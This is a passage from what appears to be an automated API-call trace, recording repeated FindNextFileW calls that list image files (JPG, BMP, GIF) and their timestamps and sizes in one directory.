lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf32cd000, ftCreationTime.dwHighDateTime=0x1bd4e5c, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf32cd000, ftLastWriteTime.dwHighDateTime=0x1bd4e5c, nFileSizeHigh=0x0, nFileSizeLow=0x6afc, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02053J.JPG", cAlternateFileName="")) returned 1 [0270.680] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b7f200, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x80b7f200, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02058U.BMP", cAlternateFileName="")) returned 1 [0270.680] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c73f500, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c73f500, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02062U.BMP", cAlternateFileName="")) returned 1 [0270.680] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa943ea00, ftCreationTime.dwHighDateTime=0x1bd4e5c, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa943ea00, ftLastWriteTime.dwHighDateTime=0x1bd4e5c, nFileSizeHigh=0x0, nFileSizeLow=0x7297, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02069J.JPG", cAlternateFileName="")) returned 1 [0270.680] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67af4100, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x67af4100, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02071U.BMP", cAlternateFileName="")) returned 1 [0270.680] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55cd9e00, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x55cd9e00, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02074U.BMP", cAlternateFileName="")) returned 1 [0270.681] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c443600, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4c443600, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02208U.BMP", cAlternateFileName="")) returned 1 [0270.681] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e0cfa00, ftCreationTime.dwHighDateTime=0x1bd4e52, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e0cfa00, ftLastWriteTime.dwHighDateTime=0x1bd4e52, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02223U.BMP", cAlternateFileName="")) returned 1 [0270.681] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30d92b00, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x30d92b00, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02291U.BMP", cAlternateFileName="")) returned 1 [0270.681] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2880f000, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2880f000, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02398U.BMP", cAlternateFileName="")) returned 1 [0270.681] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xdd5, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02412K.JPG", cAlternateFileName="")) returned 1 [0270.682] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x156e2000, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x156e2000, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02417U.BMP", cAlternateFileName="")) returned 1 [0270.682] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf783f00, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x6ce95a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf783f00, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7c08, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02466U.BMP", cAlternateFileName="")) returned 1 [0270.682] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78519700, ftCreationTime.dwHighDateTime=0x1bf111d, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78519700, ftLastWriteTime.dwHighDateTime=0x1bf111d, nFileSizeHigh=0x0, nFileSizeLow=0x48fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02470U.BMP", cAlternateFileName="")) returned 1 [0270.682] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7a0bb00, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x6ce95a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf7a0bb00, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02503U.BMP", cAlternateFileName="")) returned 1 [0270.682] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83b1e300, ftCreationTime.dwHighDateTime=0x1bd4e52, ftLastAccessTime.dwLowDateTime=0x6ce95a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83b1e300, ftLastWriteTime.dwHighDateTime=0x1bd4e52, nFileSizeHigh=0x0, nFileSizeLow=0x8499, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02567J.JPG", cAlternateFileName="")) returned 1 [0270.683] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd929e00, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x6ce95a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfd929e00, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x639b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02736G.GIF", cAlternateFileName="")) returned 1 [0270.683] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x924cca00, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x6ce95a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x924cca00, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x7e90, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02736U.BMP", cAlternateFileName="")) returned 1 [0270.683] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88c36200, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x88c36200, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x8118, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02738U.BMP", cAlternateFileName="")) returned 1 [0270.683] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9ff1700, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x6ce95a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9ff1700, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x5f2b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02740G.GIF", cAlternateFileName="")) returned 1 [0270.683] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x747f6500, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x747f6500, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x7f68, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02740U.BMP", cAlternateFileName="")) returned 1 [0270.684] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf53a6300, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x6ce95a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53a6300, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x50a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02742G.GIF", cAlternateFileName="")) returned 1 [0270.684] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d585700, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x6ce95a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d585700, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02742U.BMP", cAlternateFileName="")) returned 1 [0270.684] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1a6dc00, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf1a6dc00, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x6d86, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02743G.GIF", cAlternateFileName="")) returned 1 [0270.685] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe489ed00, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x6ce95a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe489ed00, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x5e7b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02746G.GIF", cAlternateFileName="")) returned 1 [0270.685] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65001c00, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x6ce95a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65001c00, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x7d84, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02746U.BMP", cAlternateFileName="")) returned 1 [0270.685] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd62df00, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x6ce95a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd62df00, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x6090, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02748G.GIF", cAlternateFileName="")) returned 1 [0270.685] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ca7e100, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5ca7e100, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x7e90, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02748U.BMP", cAlternateFileName="")) returned 1 [0270.686] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3d97700, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd3d97700, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x8795, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02749G.GIF", cAlternateFileName="")) returned 1 [0270.686] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46018a00, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x5a425410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x46018a00, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x8118, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02749U.BMP", cAlternateFileName="")) returned 1 [0270.686] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd045f000, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x5a425410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd045f000, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x64c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02750G.GIF", cAlternateFileName="")) returned 1 [0270.686] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x105ca100, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x5a425410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x105ca100, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x16f40, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02750U.BMP", cAlternateFileName="")) returned 1 [0270.781] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca500f00, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x5a425410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca500f00, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0xc382, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02752G.GIF", cAlternateFileName="")) returned 1 [0270.781] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88769700, ftCreationTime.dwHighDateTime=0x1bd4e52, ftLastAccessTime.dwLowDateTime=0x6ce95a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x88769700, ftLastWriteTime.dwHighDateTime=0x1bd4e52, nFileSizeHigh=0x0, nFileSizeLow=0x7c08, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02752U.BMP", cAlternateFileName="")) returned 1 [0270.781] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xece62600, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x5a425410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xece62600, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x1a6b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02753U.BMP", cAlternateFileName="")) returned 1 [0270.782] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe48deb00, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x5a425410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe48deb00, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x1a7d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02754U.BMP", cAlternateFileName="")) returned 1 [0270.791] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd50ea200, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x6cebbbb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd50ea200, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x1a7d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02755U.BMP", cAlternateFileName="")) returned 1 [0270.791] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb853a00, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x6cebbbb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcb853a00, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x30408, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02756U.BMP", cAlternateFileName="")) returned 1 [0270.791] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe684b00, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x6cebbbb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbe684b00, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x30408, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02757U.BMP", cAlternateFileName="")) returned 1 [0270.791] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7c1f400, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x6cebbbb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa7c1f400, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x307f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02758U.BMP", cAlternateFileName="")) returned 1 [0270.791] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2322a600, ftCreationTime.dwHighDateTime=0x1bd4e52, ftLastAccessTime.dwLowDateTime=0x5a425410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2322a600, ftLastWriteTime.dwHighDateTime=0x1bd4e52, nFileSizeHigh=0x0, nFileSizeLow=0xa0d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02759J.JPG", cAlternateFileName="")) returned 1 [0270.792] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfcb03b00, ftCreationTime.dwHighDateTime=0x1bd4e50, ftLastAccessTime.dwLowDateTime=0x6cebbbb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfcb03b00, ftLastWriteTime.dwHighDateTime=0x1bd4e50, nFileSizeHigh=0x0, nFileSizeLow=0xc5d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02810J.JPG", cAlternateFileName="")) returned 1 [0270.792] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81187900, ftCreationTime.dwHighDateTime=0x1bd4c19, ftLastAccessTime.dwLowDateTime=0x5a425410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81187900, ftLastWriteTime.dwHighDateTime=0x1bd4c19, nFileSizeHigh=0x0, nFileSizeLow=0xf438, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02829J.JPG", cAlternateFileName="")) returned 1 [0270.792] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66374600, ftCreationTime.dwHighDateTime=0x1bd4e5f, ftLastAccessTime.dwLowDateTime=0x6cebbbb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66374600, ftLastWriteTime.dwHighDateTime=0x1bd4e5f, nFileSizeHigh=0x0, nFileSizeLow=0x30f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02845G.GIF", cAlternateFileName="")) returned 1 [0270.792] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a425410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3c45, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02897J.JPG", cAlternateFileName="")) returned 1 [0270.792] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe0f66600, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x5a425410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe0f66600, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x3c76, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH03011U.BMP", cAlternateFileName="")) returned 1 [0270.792] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa55b9c00, 